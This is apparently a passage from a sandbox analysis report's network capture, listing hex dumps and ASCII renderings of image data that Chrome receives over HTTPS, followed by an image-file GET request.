cd 1a 13 76 57 68 c4 69 95 39 5f e3 ce 0f 4f ad 48 af 1a a8 0a ea 14 e3 1c e3 f0 19 ab 29 a5 b3 60 83 19 23 a0 04 9e 3f 
1a b3 6b 60 62 90 ef 4d 8a c3 07 a9 1f 80 23 14 c8 
Data Ascii: p;k42Otj$&o;<:[A 2AO^*k;CYgw;:%FA#^^`x*xZFJN[)x,d9*vv0}Gr>hry'UU)N=?U\S+xvWhi9_OH)`#?k`bM#

2021-11-25 16:28:56 UTC 2255 IN Data Raw: 94 95 3f 54 27 07 f4 a9 65 b0 d2 35 9b 32 0c be 63 80 43 92 be 53 0f 4f 97 27 35 ac 71 32 8f c4 61 2c 2c 65 f0 
1e 0d 15 8b 43 32 02 3e 52 4a 8c 74 07 b1 35 3d bc 5f bc 70 25 c9 07 9e 3e 52 33 8f 6a f4 bd 4b e1 fc 33 28 68 a7 96 22 
3b 98 f7 02 3d fa 57 39 73 e0 9b bb 79 33 1b c7 30 23 01 81 db fa 74 ae c8 d6 84 ba 9c 32 a1 52 3d 0e 6d 6d c9 c9 90 75 
3d 41 a8 9a 0d b8 3c ff 00 b3 cf f8 56 b4 ba 3d f5 9a 90 d6 d2 13 cf 4e 47 e7 dc 55 31 32 ce c5 4a b7 c9 d7 cc 18 e6 ad cb 
b1 8f 2b ea 51 99 03 2b ff 00 ab 42 46 7f 79 c7 35 0c 6f 75 6a a6 58 8e 24 e8 4a b0 65 3c 63 0c a7 fc 45 69 18 59 dc a2 4e 
46 46 4e 79 53 ed fa d5 76 b3 30 b1 29 18 2e 31 fe af ef 60 ff 00 3a 2e 85 a9 5e 1b e8 e7 de 2e 63 11 3b 7d d6 00 95 cf a9 
07 91 f8 66 aa 79 f1 31 03 cc 04 f2 bb b3 d7 
Data Ascii: ?T'e52cCSO'5q2a,,eC2>RJt5=_p%>R3jK3(h";=W9sy30#t2R=mmu=A<V=NGU12J+Q+BFy5oujX$J
e<cEiYNFFNySv0).1`:.^.c;}fy1

2021-11-25 16:28:56 UTC 2263 IN Data Raw: 06 0f e7 45 c4 98 74 de 48 3e b8 fd 7d e9 cc e7 3f 7f 23 1e b9 a8 35 8e e3 d2 47 8f 25 4e 10 8e 9d 6a cc 77 cc 
8d 83 d0 7b 7f 3a cf dc 15 b0 50 0f 75 e3 bd 49 6c 0d ca 9c 1d a5 7b 37 19 a8 96 c7 44 64 69 7d b8 75 20 7f c0 78 35 72 
2b d7 b8 70 9e 6e 47 60 c3 19 fc 6b 21 7f 77 28 1b 30 33 c9 c6 47 15 a1 6e 13 79 23 94 3f dd eb f9 57 33 89 bc 64 6e da 
e9 7f 69 b6 33 45 d0 36 08 eb b4 f7 ce 38 fc eb 52 df 4c 12 b0 64 1b fd 58 03 9a c3 b4 b9 9a dc 04 49 01 5c e7 81 c8 3f ce 
b5 2d 35 4b 88 1b f7 b1 fd a0 1e 32 0e 18 0f d3 9a ce cc e9 8c 91 a8 ba 14 85 43 89 17 07 f3 c7 e9 50 9d 3e 48 f2 32 1c 
7a 91 8a 92 3d 6e 29 53 c9 12 94 03 18 8a 6c f1 8e 30 09 03 fc f6 a9 96 f6 16 7d b2 6d 18 cf dd f5 f7 a9 d7 a9 d3 1e 56 50 
7b 76 db 90 87 03 db a5 52 97 0b 20 c8 e3 f2 35 
Data Ascii: EtH>}?#5G%Njw{:PuIl{7Ddi}u x5r+pnG`k!w(03Gny#?W3dni3E68RLdXI\?-5K2CP>H2z=n)Sl0}mVP{vR 5

2021-11-25 16:28:56 UTC 2279 IN Data Raw: 4a 48 32 db b6 71 d8 8c e6 97 25 cb f6 8c eb 60 f1 94 d0 b8 50 58 9c f0 77 64 9c fa 7b 56 ee 9b e3 28 a6 90 09 
7c c6 cf 07 68 19 fc b8 23 fc f5 af 35 fb 3b 3a 97 39 0c 3d 47 3f 9d 4d 1a cf 16 07 df ed 9c e4 00 7f 91 fa 56 72 a4 99 bc 71 
12 89 ed 3a 7e b9 6f bb 39 f3 10 8c e1 8e 0e 3a 73 e9 f9 56 8b 4b 14 dc 21 20 91 d1 b8 3f a5 78 ed 8e a9 7b 6d e5 9d f2 
0d a4 f3 9e 70 7a f3 fe 35 d5 59 78 96 55 8d 01 1d 3b 67 d3 fa d7 1c a8 b5 b1 df 4f 12 9a b3 3b 12 85 5b 24 f4 3f 74 8c d1 
f6 d4 2a 56 62 5d 47 41 b7 3f cf fc 6b 22 3f 10 47 74 98 52 b1 c8 31 80 df a7 3f d0 d5 2b ad 50 a3 e4 bb 6e e9 c3 74 fa 56 
4a 0c df da 2e 86 dd ce 95 65 7a bc 41 1a e7 fd 9e 08 fa 74 ae 7e fb c2 91 2f 30 01 19 3d 01 e0 0f 4e 69 b1 eb 32 33 6e 8c
f9 8a bc e7 b8 35 7e 1f 15 03 18 49 e3 
Data Ascii: JH2q%`PXwd{V(|h#5;:9=G?MVrq:~o9:sVK! ?x{mpz5YxU;gO;[$?t*Vb]GA?k"?GtR1?+PntVJ.ezAt~/0=Ni23n5~I

2021-11-25 16:28:56 UTC 2295 IN Data Raw: b5 b6 21 f3 26 f3 44 41 f6 e3 0d 22 9f 98 83 c0 eb fd 31 ed 5a 70 ea 10 ca c0 4b 11 82 4e 01 c8 e0 f6 a0 8e 67 
d0 c0 d3 ec 66 08 1e e2 35 e5 70 d2 29 25 32 7a 03 fd dc 7b f5 f5 ae 9a 0d 38 b5 b4 60 bf 9a 23 52 06 3a 60 fb 60 71 e9 
9a 7f d9 d5 d7 cc 81 f6 31 ef 90 72 3f 91 a8 c4 72 db a9 31 7e ec b6 4e 79 db 9e b9 3e 95 2e 56 23 e2 d8 92 3b 98 91 36 
21 d8 57 8f 2c 1e 72 3d 8d 39 85 b5 c4 69 13 82 8e d9 c0 27 1f 43 9f 4c d4 36 c2 2b eb 80 6e 44 96 f2 f6 94 72 7a 76 3c 
56 92 e9 8f 1c 87 c9 bf f3 73 ce 59 76 b1 1e 98 c1 1f ad 65 2b 1a 46 f1 32 a4 d0 1a dd 77 db cb 22 6e ce 08 23 04 e7 d0 ff 
00 42 2b a6 f0 f5 c6 b9 1d bb a0 96 e8 a0 f9 7a 0e 38 f6 26 a0 8e 16 8e 40 1f 09 27 44 da d9 5c 7f 21 9e f5 d5 78 7f 5c 96 
c3 87 89 5d 17 8d d1 e0 8e 9e 9c f3 58 4b 44 75 
Data Ascii: !&DA"1ZpKNgf5p)%2z{8`#R:``q1r?r1~Ny>.V#;6!W,r=9i'CL6+nDrzv<VsYve+F2w"n#B+z8&@'D\!x\]XKDu

2021-11-25 16:28:56 UTC 2302 IN Data Raw: c7 8a b9 6f 7b 6f 0e 3e d4 bc af 02 58 7e f6 0f aa f7 1f 4a b3 e5 db dd a1 68 5d 4a ff 00 0b 28 e0 fd 47 6f a6 2a 
b9 bb 93 63 16 e3 05 f2 f1 0c 91 82 40 fe b5 99 7f e0 bd 2f 52 de e6 08 d2 57 20 e4 a8 cf b1 c8 e7 3e f5 d0 c9 09 8f 83 d4 
13 d0 7a 54 51 c2 26 6c 00 a7 1c 1c 81 42 9b 8e c4 34 a5 a3 47 97 dd fc 39 97 43 69 3e c7 14 46 4d dd 65 99 94 95 c7 4c 
8e 3a fa 8f c6 9c ba 2b 5c 34 76 f7 ba 54 91 10 30 2e 23 95 4f d7 e6 5e b9 f7 af 5b 36 41 50 8c 2b 82 3a 63 70 fc 8f f4 ac 
a7 b1 b7 8d 89 4c 44 fd c1 c9 4f c8 f2 3f 03 5d 0a bb 7f 11 94 a8 f6 3c ce eb c1 36 b2 6e f9 16 51 8f f5 81 76 4a 0f ae 57 
82 3d 8d 61 df 78 25 8c 7e 5c 37 04 49 9e 3c e5 18 ea 78 c8 19 af 59 3a 6a 86 de 0b 0c b1 25 f3 b9 48 f6 38 e3 1d 81 a7 
c9 a1 ee 40 ee 7c c8 4f 24 8c 1e 3f 0f eb 
Data Ascii: o{o>X~Jh]J(Go*c@/RW >zTQ&lB4G9Ci>FMeL:+\4vT0.#O^[6AP+:cpLDO?]<6nQvJW=ax%~\7I<xY:j%H8@|O$
?

2021-11-25 16:28:56 UTC 2318 IN Data Raw: d1 5e 36 40 92 2e 08 0c 40 fe 47 23 82 31 ff 00 d7 ab b1 e9 02 15 42 11 91 14 97 dd 18 24 83 ef 8c 9a 5a 01 
41 2e 40 84 04 46 24 f5 00 72 78 f6 ab 96 50 ad cb ee 19 b6 0a 47 03 8c f1 8f 4f ce ac 36 92 56 4d c8 18 fd df bc 47 4e b8 
e3 a7 bd 5c 5f b4 f9 22 37 40 21 c9 75 51 d1 49 18 27 9f 61 4a fd 89 f5 12 6b 59 99 60 29 3c 4e a7 ef a8 c9 60 07 af 18 c7 
d2 af 5b c5 13 b8 89 07 96 cc 7a ed 3f 90 ab 76 f0 3c b3 11 08 f2 c9 41 1b 08 49 2a 46 30 c4 90 4f 07 a9 c1 c5 6b 49 69 
16 9b 19 1b fc cb 82 3f 2f 5f 53 9f ca b3 94 f9 77 35 8c 2e 62 c7 69 12 4c e3 9d e4 9e 8a 3a fb 7b d5 fb 64 fb 3b e4 a3 12 
78 cd 47 69 0c 9e 76 f7 3e 5e dc 91 8e 4f 3d 2a ec 16 f2 33 96 03 2a 3a 86 19 27 9a c9 ca e6 f1 8d 8d 11 77 f6 c6 8b ed 
26 28 f6 6e 00 85 54 24 93 93 9c 0c 93 9e e7 a7 
Data Ascii: ^6@.@G#1B$ZA.@F$rxPGO6VMGN\_"7@!uQI'aJkY`)<N`[z?v<AI*F0OkIi?/_Sw5.biL:{d;xGiv>^O=*3*:'w&(nT$

Timestamp
kBytes
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2021-11-25 16:28:56 UTC 2334 IN Data Raw: 48 47 54 08 99 32 3a 01 93 83 49 6e d9 72 71 80 b8 e0 d6 46 97 a8 ac 4d 83 b8 e4 7d 70 7f 9d 6e 5b 3c 37 8a 
36 10 50 f1 9e 95 2c d9 6a 49 34 ca d1 e4 01 9f 41 c6 45 55 8a e4 c6 d9 07 83 db ae 2a 49 e1 c3 00 b8 f9 78 f6 aa 0a b2 
2b b6 00 70 4d 08 ab 9a 2a 56 69 03 b1 e6 a0 bc b3 54 4c c4 fc f5 39 e9 53 5b 94 6c 0c 75 fe 75 3c 8b 19 52 a4 7d 79 a9 
19 88 a8 c5 99 1f 1e c7 e9 53 35 a8 7f be 9c e3 ad 4b 25 b3 6d f9 46 39 e0 9a 87 c9 b9 99 80 2d b0 74 e9 cf e7 56 4d 84 
5b 07 18 74 00 30 e4 1c fa d4 8f 12 ce 8e 4a 04 94 74 3e b5 66 35 78 90 29 6c b1 18 dc 7d 2a 19 ec e4 fb ea 4d 21 94 e3 
5f 9b 6b f1 81 d0 f4 a7 4e d1 a8 da ce 31 db 1c d4 de 58 67 06 4c 7e 5f ce 9a 96 30 ef 61 13 0f a1 e7 f2 aa e8 2b 3d 8a 46 
cd 24 60 43 ef 04 1e 07 4c fa d1 e4 34 2e 48 1f 2f e1 
Data Ascii: HGT2:InrqFM}pn[<76P,jI4AEU*Ix+pM*ViTL9S[luu<R}yS5K%mF9-tVM[t0Jt>f5x)l}*M!_kN1XgL~_0a+=F$`CL4.H/

2021-11-25 16:28:56 UTC 2342 IN Data Raw: 60 bf 29 38 2d ce 3a 9a ab 38 0c 8e c9 b7 24 11 f8 9a 07 73 cf 1e ce ef 4e 7d 88 1a 58 3d 49 f9 97 db 1d ea ed 
b5 dc 53 a6 19 c8 71 ed 81 8f c7 d2 b7 2f 11 51 b6 00 77 e7 bd 62 6a 16 88 1c 91 fb a7 03 1b 97 9d df d0 fd 0d 05 96 5a 
08 ca 93 20 de b8 e1 b3 eb fc ea 16 82 48 fe ec f2 04 03 91 92 40 1f 8f 15 8a 97 f3 d9 dc 15 73 e6 05 c7 2b d7 1f 4f f0 ab 
91 6a 71 cd b5 5a 4c 83 d0 91 82 08 1e 9f e7 34 01 a5 09 b9 3b 0a 4a bf f0 2c 60 d4 8d 79 70 30 a6 30 4f 52 41 ff 00 1f 5a 
cf 5b e0 87 27 09 92 7b 1c 1f fe bd 5a 5b c0 e9 9d 9d 7d c5 2b 0c 8e f2 f6 3b 84 09 2c 52 44 a0 83 95 00 fb 7a f4 aa 26 3b 
59 97 61 e8 32 0f 00 1f c6 a7 93 0e e0 87 f9 40 cb 01 d5 7d 6a 29 63 8e 25 20 95 91 88 24 ae dd df a6 73 49 05 ae 55 93 
c3 f6 92 b2 00 e6 36 3d d4 f2 7e b5 03 f8 78 
Data Ascii: `)8-:8$sN}X=ISq/QwbjZ H@s+OjqZL4;J,`yp00ORAZ['{Z[}+;,RDz&;Ya2@}j)c% $sIU6=~x

2021-11-25 16:28:56 UTC 2358 IN Data Raw: 6f 85 40 67 c2 b7 24 01 93 93 eb 4e 16 86 45 2c 46 14 f4 e4 ee fa d5 a8 88 bd 02 ed 7d 91 9d d3 1c 62 3e ac 
e4 fa 7e 35 63 52 b6 b8 d1 f5 09 60 ba 41 05 cc 47 6c 8b e6 2b 80 7b fc ca 48 3f 81 35 89 6f 71 15 a6 76 72 e7 92 a4 e4 
9f eb c5 2d ce ba b2 47 83 18 05 46 33 9c f7 eb c5 3b 6a 07 40 9e 24 8e d2 32 4c e0 b6 0e 23 6c 9f e7 d2 b9 6f 12 78 8a 
49 54 ca eb 13 ef c2 fe ed 7e e8 f5 c9 c5 55 96 43 34 81 98 92 87 a0 1f d6 a7 b8 b7 53 b4 34 f1 ca a3 0c 14 02 71 f5 f7 fc 
78 a7 60 56 45 6d 0e 50 b6 e2 e2 18 83 c8 18 e1 a4 f9 8e 7b 96 cf f2 fe 75 36 a2 93 dd 2e 4f df 2c 38 e0 71 ec 3a 0a b3 
6b 12 a2 e2 12 b1 0c 70 b8 00 73 f8 f7 ad 0d 1f 48 d4 f5 2b a4 16 50 45 3b 36 57 a0 6c 67 39 62 33 80 78 aa d8 4d eb a0 
dd 03 c2 d2 4a c8 e6 36 9e 77 50 d1 c4 00 0c a0 67 2c 
Data Ascii: o@g$NE,F}b>~5cR`AGl+{H?5oqvr-GF3;j@$2L#loxIT~UC4S4qx`VEmP{u6.O,8q:kpsH+PE;6Wlg9b3xMJ6wPg,

2021-11-25 16:28:56 UTC 2374 IN Data Raw: 7d c0 e0 8e 33 55 e2 d2 df bb ec 1d c1 e4 77 fc b3 5b cd 90 d9 3c e7 b6 6a 24 52 ad fe cf 5e 7d a9 16 8c 99 74 
68 c2 e7 19 6c f2 09 ac bb ad 1a dd 59 db ca c0 27 a7 27 07 1d bd 07 d2 ba c7 01 ba 30 19 ce 3e 95 94 e1 4b 38 90 64 75 
a9 28 e1 35 1d 0d 4b 6f 57 29 bb 82 08 c9 c7 5f f0 fa d7 03 ac da 4d a6 df 3a cf 8f 24 e7 6b f5 5c f6 07 d3 35 ec b7 81 59 
dc 03 89 09 24 96 1d ff 00 1e f5 c7 78 ab 48 8e f2 de 44 f2 d4 03 8c 8c 74 1d c8 f5 a9 d8 ab 26 71 16 f2 32 26 c1 f3 83 86 
3e fd ba fb 73 8f c6 b6 6c 66 8a e1 77 af ce 47 de 0b d4 8a e3 2e 3e d3 a6 dc fd 92 ec 32 04 27 6c 98 c6 46 3d 7e 9c 9e f5 
af 61 76 b1 49 bc 06 db e8 4f 24 0f e7 5d 16 31 72 3d 02 3b 55 f2 47 5c 7c ad e5 93 ea 3d 3d 71 56 2d 53 e7 46 04 a8 c1 
e0 1f 52 7f a5 65 db ea 11 48 de 6c 44 c7 19 
Data Ascii: }3Uw[<j$R^}thlY''0>K8du(5KoW)_M:$k\5Y$xHDt&q2&>slfwG.>2'lF=~avIO$]1r=;UG\|==qV-SFReHlD

2021-11-25 16:28:56 UTC 2382 IN Data Raw: 96 ff 00 65 b6 45 2f 9c bc 8d 82 aa 3d 87 24 fe 27 15 42 fb 5e b6 f0 fd b6 f7 94 cb 31 39 62 c7 04 9c 77 fe 94 d2 
d0 c5 bd 4e a1 e2 fb 3d bc 8f 3c a0 01 c9 07 b7 b1 af 33 f1 3f 8c a0 b3 99 ad f4 ef de dd 31 21 15 47 39 3c 74 aa b2 6b 7a 
9f 8c 26 91 56 43 15 a2 2e 5a 4f 41 ed ff 00 d7 ac 7b 86 b3 d2 bc c5 b4 4c 31 18 66 62 5a 47 1d 0e 58 f3 83 e8 2b 78 c0 
99 48 b4 16 4b 87 4b ad 56 e3 cc b8 da 36 45 92 71 f8 7a fe 9f 5a 75 d6 bc f6 e9 b1 6e a6 c8 e4 01 81 8f a0 fe a6 b0 fe d4 
ac 9b a5 7c 63 b7 b7 e7 59 b7 77 42 67 d9 0b e0 37 5c 0a d9 44 ca e5 9b ab eb 8b d6 2a f2 92 4f f7 88 c5 56 86 d1 a3 93 
7c 8e 4b b7 dd cf 61 ec 3b d4 9b 10 28 50 1b 6f f1 36 39 fe 74 d3 78 cb 80 84 8c 75 3d 3b 56 ab 42 5b ec 5a 79 8a 75 24 
91 c0 ef 50 19 44 bf 2f 00 b1 c9 c8 e9 f4 c7 
Data Ascii: eE/=$'B^19bwN=<3?1!G9<tkz&VC.ZOA{L1fbZGX+xHKKV6EqzZun|cYwBg7\D*OV|Ka;(Po69txu=;VB[Zyu$PD/

2021-11-25 16:28:56 UTC 2398 IN Data Raw: 58 0b a6 73 85 12 42 06 d8 f3 cb 10 72 48 cf 7f c6 84 bb 89 c9 f4 3d 06 f3 54 b5 36 ee f1 4f 1e d2 0e 49 05 4e 
47 51 d7 1e ff 00 4a ad 0d ca 22 83 13 99 32 a5 8a 8e ff 00 97 e1 5c 54 13 5d c8 c0 02 02 64 20 2c 72 00 e8 79 fd 7b 9f ca 
9e 2e ae 21 b8 70 22 90 44 bb 88 38 23 a6 49 c1 e3 d0 d1 ca 3e 63 b5 96 f1 4c 7b f7 9f 94 e0 67 d7 d4 f5 c7 ad 67 cd 7a 
96 f3 15 38 2b d4 b0 27 f4 ae 69 35 a9 99 1d 43 91 0a 1e 17 07 27 3e f4 ef b6 af 43 26 f6 c0 3e 59 e3 af 51 53 ca 1c c6 cd 
d5 c7 db 23 11 e1 5f 82 50 af a9 e7 a5 73 ad a6 4f 1d c8 90 a7 07 04 ae 32 38 e7 bf 18 f5 ae 82 24 1e 5a 3a 95 40 fc 05 
dd 92 00 e0 83 9e 73 fe 35 72 36 df b3 70 c2 85 e3 e6 23 19 cf 3c 50 9d 86 d2 91 56 c2 44 91 43 6f 3c 11 bb 0b d1 47 27 
8a d6 02 53 1f c8 83 24 67 3c 9d d9 3d ff 00 2a 
Data Ascii: XsBrH=T6OINGQJ"2\T]d ,ry{.!p"D8#I>cL{ggz8+'i5C'>C&>YQS#_PsO28$Z:@s5r6p#<PVDCo<G'S$g<=*

2021-11-25 16:28:56 UTC 2414 IN Data Raw: ba 63 77 ea 4d 4b 13 2c 8e 72 09 50 38 6f f3 da a9 ee 2d 21 1d 46 7f fa d5 70 95 55 21 39 23 8e b4 08 b6 14 
42 bb 63 38 5c 7c c6 aa dd 5e 2a b6 17 19 f4 aa d7 7a ba da db e4 b8 41 c7 de 3f a5 67 8b a4 ba cb 21 cb 70 7f 3a 05 73 
5a 2d d3 3f 38 62 78 2d fe 15 7e 34 f9 b0 0f cb d4 e2 a9 5a a1 5b 70 c7 bf eb ec 2b 4e d9 47 96 00 3d 46 68 28 9e da db 
ed 0c 84 3e ce e7 d4 7d 2b 62 e3 e5 b7 11 45 f2 f4 1e 98 15 56 c7 2b 08 25 06 71 c6 3b e6 a5 2e bd 09 cb 77 e7 b6 2b 36 
cd e0 b4 b8 87 6a c6 00 cf 00 00 7d 85 40 65 0e c5 cf 00 60 61 6a 2b bb c8 e3 04 bb e2 35 ee 7b fb 56 6b 6a a9 22 11 13 
ef c6 3f 00 7d 6a 2e 8d 92 65 f6 bc 48 79 3f 74 e4 93 fe 7d 6b 16 f7 50 69 18 c7 1f ca 77 70 40 e3 03 fc f3 4f 69 da 44 de 
48 0c 38 1d 86 3e 95 4d 14 41 21 2d d3 83 92 7f c9 f7 
Data Ascii: cwMK,rP8o-!FpU!9#Bc8\|^*zA?g!p:sZ-?8bx-~4Z[p+NG=Fh(>}+bEV+%q;.w+6j}@e`aj+5{Vkj"?}j.eHy?t
}kPiwp@OiDH8>MA!-

2021-11-25 16:28:56 UTC 2422 IN Data Raw: 53 18 c6 38 e3 23 bf e1 52 51 64 44 ac c3 3c a0 3c 67 a6 71 db 1d ea 0b b2 c8 c4 a7 ce 0f 38 fd 0f 5a 5f b5 6d 
8c a6 fd 9b f3 8f 7a 6d c0 12 72 09 1c f0 14 e7 ea 39 a9 1e c6 6e a5 38 86 32 c7 ae 49 01 7b 7a 66 a8 c7 7a be 49 77 cf 
98 78 cf a0 c7 4f 6e b4 9a 9c 61 9f 24 f0 07 f2 ac d0 c5 bc b5 08 72 49 ee 7f cf 6a 18 cb d7 03 6b 1c a9 d8 83 04 fb 7b 57 
33 ae 5c e1 83 0f 90 80 17 f0 3d ff 00 2a de 94 a2 2e 17 24 9f 97 1c 1e d5 81 ad 45 72 d9 64 8c 04 8c 0e 71 8c 9c fb f5 eb 
52 33 92 bc 0a 2e 80 41 e6 73 b5 73 8f 4a c0 d5 6d 7c bc 05 19 6d a4 a9 03 93 df 90 3d 3d 7d ab 79 2d 6f 24 71 2b 80 98 
3c 76 ce 3b e2 a9 eb b6 73 a4 61 88 c0 50 42 ed 3d 49 f5 cd 6b 1d c8 9c 6e 8e 76 26 f9 c4 8d 83 e6 0c 31 1f 77 8e e3 d7 
dc 56 b4 72 9f 2f 72 c8 1c 60 12 b8 e0 90 3f 97 
Data Ascii: S8#RQdD<<gq8Z_mzmr9n82I{zfzIwxOna$rIjk{W3\=*.$ErdqR3.AssJm|m==}y-o$q+<v;saPB=Iknv&1wVr/r`?

2021-11-25 16:28:56 UTC 2438 IN Data Raw: 33 8e 48 ef 93 ed 52 a7 88 82 ec 0c 30 fd db 39 5c 7e 23 34 12 d3 e8 76 be 59 55 46 05 4a 1c 63 1c 1e dd 33 
8c f3 f9 55 5b 85 22 43 20 da 08 05 86 e2 33 c7 a6 7a d7 3a 9e 24 42 c1 04 9b c0 ec 49 e7 3e f5 2c 7e 23 46 e6 4c 20 04 
af ef 06 78 cf 41 8e fe f8 a6 2d 4d 46 be 79 14 ac 40 c6 a5 8e 23 66 27 69 3d 70 70 4e 29 a6 49 b6 60 0e 4e 40 cf 63 9a 
a2 fa ed b7 99 12 07 50 fc 9e 83 07 3d 33 9f d3 14 b1 ea 8a cb f7 f8 23 ae 30 7a 7d 79 a4 0a e5 a5 66 29 90 4e 31 c1 ff 00 
0e f5 28 06 0e 0e 5d 87 27 b9 c1 ac c3 ab 49 1b 6d c2 c5 22 8d c0 37 00 9c fa 13 fa 66 a6 b5 bc 95 e6 1b cf cd 21 20 18 
c8 00 7d 7f 2a 43 34 16 ec 96 c3 bb 20 c6 78 c6 4f 3d f3 fe 7f 3a b1 04 86 4c a0 93 e7 23 1c e7 b0 ec 31 f9 76 ac eb ab 7f 
35 51 e5 1c 8e c4 e7 e6 1e d5 3a cd 97 1e 51 1b 83 
Data Ascii: 3HR09\~#4vYUFJc3U["C 3z:$BI>,~#FL xA-MFy@#f'i=ppN)I`N@cP=3#0z}yf)N1(]'Im"7f! }*C4 xO=:L#1v5Q:Q

2021-11-25 16:28:56 UTC 2454 IN Data Raw: 27 8e f8 03 b0 ab 0b b1 55 04 60 26 47 24 67 07 9f 7a 81 99 5d f8 19 93 1c b7 a1 f4 c0 ac 99 d0 36 50 65 c8 24
84 c9 60 3a e4 0e e7 f9 d4 79 8e e6 48 c2 67 68 04 f0 70 09 3f ce a1 b9 11 37 ca 64 66 90 f4 2b fc bd 07 d2 95 23 58 6d cf 
98 59 1f 20 67 77 38 f5 f4 e7 b7 7f a5 43 65 05 d4 cd 16 56 3f dd c9 82 39 03 81 e8 4f f4 ac 88 1a 4b cb 92 e0 8d ab 82 49 
39 04 8e d9 ef 8f 4a d4 78 d9 df cd 6f dd a8 3d 1b 20 82 7b fd 7d 7d 29 b0 2c 49 18 45 3d 3a 60 67 2b e8 4e 0f 14 8b e8 
11 30 57 20 c1 99 70 0e 40 e3 07 3d 5b 81 f8 03 45 e4 b2 86 92 21 83 22 a9 1f 29 c8 07 b0 1d cf bd 13 6a 48 11 63 56 18 
1c e4 f2 73 df 19 ff 00 0a cd 95 9e 6e 77 64 63 f8 7b e7 a8 c7 15 23 4b a9 8f 73 78 c2 62 c9 bb 80 c0 e0 8e bd ea 9c 0d 25 
d3 20 f3 23 44 da 19 b7 64 8c e7 b6 79 c1 e6 
Data Ascii: 'U`&G$gz]6Pe$`:yHghp?7df+#XmY gw8CeV?9OKI9Jxo= {}}),IE=:`g+N0W p@=[E!")jHcVsnwdc{#Ksxb% #Ddy

Timestamp
kBytes
transferred Direction Data
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2021-11-25 16:28:56 UTC 2461 IN Data Raw: fc e4 1c 8e 87 eb 4b 51 c5 58 82 e2 79 a6 b8 b7 20 28 85 17 a3 f3 ce 46 3f 1a 54 85 be 70 92 12 1d 49 6c e7 
a7 5c 0f c6 9f 0c 8a 1a 06 7e 9c c6 a0 0f 4e df a9 fc e9 f7 17 71 25 b9 88 80 08 4e 78 19 07 19 e9 ff 00 d7 fc e9 17 6e c6 
43 79 b1 3e 63 e4 36 39 3d f1 c7 5f eb 49 96 49 3e 52 0e 46 3b 83 92 71 c7 ff 00 aa a6 69 fe 60 17 20 60 12 7a 63 03 27 
1e d5 46 fe f1 ed e4 28 9b 64 96 41 c1 62 4e 01 f5 f7 34 d1 03 e7 ba f3 6d fe 5d a1 d8 8c 16 24 60 9e bd 3d aa ac fa 7c bc 
ba 3e d4 18 2d cf 5c f6 cf af 1c 52 c5 33 c2 a5 5c 6c 61 90 71 8c 71 53 3c ef 23 18 d4 e1 00 cf 3d 4f a0 ed 8f cf 35 62 2d 
5b dd 21 c2 23 ec f9 46 03 8c 02 7f 1f e7 49 7b 68 b2 21 03 3b 88 01 b7 1c ed 3c 9a cc 92 55 9e e7 23 38 0b c9 e4 76 c0 
19 3e 9d aa d8 d4 03 46 32 49 75 1b b7 16 39 38 
Data Ascii: KQXy (F?TpIl\~Nq%NxnCy>c69=_II>RF;qi` `zc'F(dAbN4m]$`=|>-\R3\laqqS<#=O5b-[!#FI{h!;<U#8v>F2Iu98

2021-11-25 16:28:56 UTC 2477 IN Data Raw: 22 99 3d a3 a4 85 3c b2 53 69 dd 91 8e 0f 4c 1e fe f5 b7 02 04 de c4 01 b7 a6 79 f6 c5 57 bd 80 ec cb 8d ca 0f 
7e c3 f0 a9 19 85 e4 c8 af 82 f9 94 9e 4f 45 00 f3 c0 a7 da da cb 79 1e c0 ab b8 03 92 30 08 04 73 8e f5 a4 2d 47 92 04 64
6e 24 10 d9 39 c1 e8 33 f4 fd 2a 29 a0 29 98 ca 07 c1 e2 40 dc 9f 40 31 fd 28 1d cc eb eb 74 74 f9 e4 04 2e 08 27 8c 63 
a7 3e b9 e9 51 ac a7 ec c9 2f 97 b8 9e 43 48 72 71 c8 e0 03 f7 73 9f 7f ce a4 bc 61 1b 04 3b 64 8d c7 24 10 46 47 19 1e 
87 06 a9 c6 c4 48 91 21 60 ec 4c 61 42 e4 96 3c 63 1d 4e 69 8c 9a 3d e2 41 99 3e 4d db 86 3a 00 7a 8e 0f 35 b5 08 dc c4 
20 18 1f 31 24 70 46 46 38 07 d3 f2 ac 38 a3 98 49 e5 b1 0e ca 70 ea 48 c8 e7 27 90 70 71 81 9c 1f 6a da b0 b8 8a 3b 62 
18 fc ca 46 0e 0f 19 eb 9c 7e 14 c9 66 ac 01 24 b6 
Data Ascii: "=<SiLyW~OEy0s-Gdn$93*))@@1(tt.'c>Q/CHrqsa;d$FGH!`LaB<cNi=A>M:z5 1$pFF88IpH'pqj;bF~f$

2021-11-25 16:28:56 UTC 2493 IN Data Raw: 3f 2f d2 95 d9 43 65 72 49 3d 86 41 38 e9 8a b3 95 95 40 41 c0 3f 31 e9 f9 9a 8e 6d ff 00 22 cb 81 c1 51 b7 ae 
39 eb d3 27 fc f4 a4 17 29 4b fb c5 0e 08 04 f2 cb ce 70 7a 71 fa 56 16 b7 04 92 b9 7d 86 37 56 19 3b 4e 48 c7 1b 87 1e 
c0 d7 46 c4 5b b0 72 33 b4 63 8e bf 91 ef 55 2e 3c a9 23 d8 72 63 e5 83 0e 30 3d e9 5b 5b 8c e6 98 43 2d 9c 85 7b 9d c0 
49 c9 51 83 90 39 1c 11 d6 ab 3b 4f 24 6c 87 32 48 14 79 73 67 3d 07 7f 4e 00 1c 7b 56 94 b0 1d dc 44 53 39 f9 47 af a8 
c7 5c 8a cb 9a 29 1a 69 e4 4c 84 55 0a ca dc 06 07 27 24 8c 74 22 81 1c fd cb cb 23 96 9e 3d 92 0c ab 9c 86 e9 c6 33 e9 
8c 62 b2 ee 83 b2 90 88 1d 41 da d9 20 60 1e bf 51 ef d6 ba 66 8d 65 57 8e 6d b1 02 72 1b 1b 8f 4f 97 3e d9 ae 7e 6d 3a 
5b 7f 34 9e 4b 1e 06 ee e0 0c fb 64 63 df 34 16 61 d9 
Data Ascii: ?/CerI=A8@A?1m"Q9')KpzqV}7V;NHF[r3cU.<#rc0=[[C-{IQ9;O$l2Hysg=N{VDS9G\)iLU'$t"#=3bA `QfeW
mrO>~m:[4Kdc4a

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

65 192.168.2.4 49873 80.67.82.235 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred Direction Data

2021-11-25 16:28:56 UTC 2499 OUT GET /cms/api/am/imageFileData/RE4Fiec?ver=29a1 HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
